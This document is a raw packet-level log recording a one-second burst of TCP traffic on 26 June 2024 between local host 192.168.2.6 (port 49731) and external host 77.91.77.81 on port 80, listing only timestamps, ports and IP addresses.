Jun 26, 2024 08:16:43.886832952 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.886859894 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.886866093 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.886892080 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.886899948 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.886924028 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.886933088 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.886955976 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.886966944 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.886998892 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.887033939 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.887063026 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.887068033 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.887093067 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.887101889 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.887130022 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.887135983 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.887156963 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.887171984 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.887206078 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.887228012 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.887239933 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.887257099 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.887381077 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.905284882 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.905339956 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.905374050 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.905402899 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.905409098 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.905443907 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.905446053 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.905481100 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.905484915 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.905515909 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.905543089 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.905575037 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.932092905 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.932147026 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.932177067 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.932182074 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.932215929 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.932244062 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.932251930 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.932288885 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.932295084 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.932332993 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.932362080 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.932410002 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.932461023 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.932502985 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.932514906 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.932549953 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.932576895 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.932583094 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.932616949 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.932645082 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.932651043 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.932683945 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.932714939 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.932740927 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.932977915 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.933008909 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.933042049 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.933075905 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.933108091 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.933140993 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.933176041 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.933211088 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.933233023 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.933314085 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.970273018 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.970331907 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.970355988 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.970386028 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.970393896 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.970438004 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.970479965 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.970489979 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.970555067 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.970588923 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.970603943 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.970623016 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.970632076 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.970655918 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.970657110 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.970684052 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.970690012 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.970726013 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.970755100 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.970777035 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.970793962 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.970813036 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.970839977 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.970846891 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.970865011 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.970881939 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.970895052 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.971008062 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.971362114 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.971441031 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.971493006 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.971513033 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.971529007 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.971555948 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.971561909 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.971590996 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.971617937 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.971647024 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.971652031 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.971669912 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.971708059 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.971733093 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.971740961 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.971792936 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.971801996 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.971839905 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.971843958 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.971877098 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.971889019 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.971911907 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.971932888 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.971946001 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.971992016 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.971997023 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.972040892 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.972047091 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.972080946 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.972096920 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.972110987 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.972138882 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.972146034 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.972165108 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.972194910 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.972198009 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.972249985 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.972254038 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.972284079 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.972335100 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.972341061 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.972371101 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.972412109 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.972419024 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.972454071 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.972461939 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.972508907 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.972521067 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.972532988 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.972585917 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.972615004 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.972620964 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.972650051 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.972673893 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.972680092 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.972692013 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.972765923 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.972765923 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.972775936 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.972810984 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.972836971 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.972845078 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.972877979 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.972912073 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.972917080 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.972946882 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.972990036 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.973006010 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.973033905 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.973083019 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.973086119 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.973113060 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.973119974 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.973150015 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.973154068 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.973182917 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.973189116 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.973206043 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.973223925 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.973236084 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.973258972 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.973277092 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.973292112 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.973320961 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.973326921 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.973350048 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.973360062 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.973383904 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.973413944 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.973419905 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.973450899 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.973468065 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.973501921 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.973507881 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.973552942 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.973584890 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.973603964 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.973634958 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.973639965 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.973666906 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.973675013 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.973702908 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.973728895 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.973763943 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.973764896 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.973797083 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.973798037 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.973829031 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.973830938 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.973858118 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.973865032 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.973890066 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.973901033 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.973908901 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.973934889 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.973968983 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.973993063 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.974001884 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.974023104 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.974035978 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.974066019 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.974070072 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.974097967 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.974104881 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.974136114 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.974144936 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.974172115 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.974179983 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.974206924 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.974214077 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.974247932 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.974248886 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.974275112 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.974281073 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.974308968 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.974315882 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.974364042 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.992458105 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.992535114 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.992536068 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.992572069 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.992599010 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.992607117 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.992639065 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.992644072 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.992672920 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.992677927 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.992712975 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.992741108 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.992770910 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.018969059 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.019047976 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.019068956 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.019120932 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.019134998 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.019175053 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.019210100 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.019223928 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.019244909 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.019278049 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.019279957 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.019315004 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.019318104 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.019349098 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.019349098 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.019376040 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.019404888 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.019440889 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.019440889 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.019469976 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.019475937 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.019504070 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.019510031 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.019535065 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.019546032 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.019604921 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.019604921 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.058377028 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.058458090 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.058495998 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.058538914 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.058552027 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.058553934 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.058607101 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.058626890 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.058648109 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.058660030 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.058696985 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.058726072 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.058732986 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.058773041 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.058784962 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.058825016 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.058828115 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.058828115 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.058861017 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.058887005 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.058896065 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.058919907 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.058929920 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.058955908 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.058995008 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.059025049 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.059043884 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.059048891 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.059083939 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.059103012 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.059142113 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.059156895 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.059190035 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.059209108 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.059253931 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.059267044 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.059303999 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.059309006 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.059350014 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.059360027 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.059406042 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.059413910 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.059449911 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.059484005 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.059487104 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.059526920 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.059541941 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.059591055 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.059595108 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.059632063 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.059654951 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.059664965 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.059700012 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.059715033 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.059719086 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.059756041 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.059772968 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.059792042 CEST	80	49731	77.91.77.81	192.168.2.6
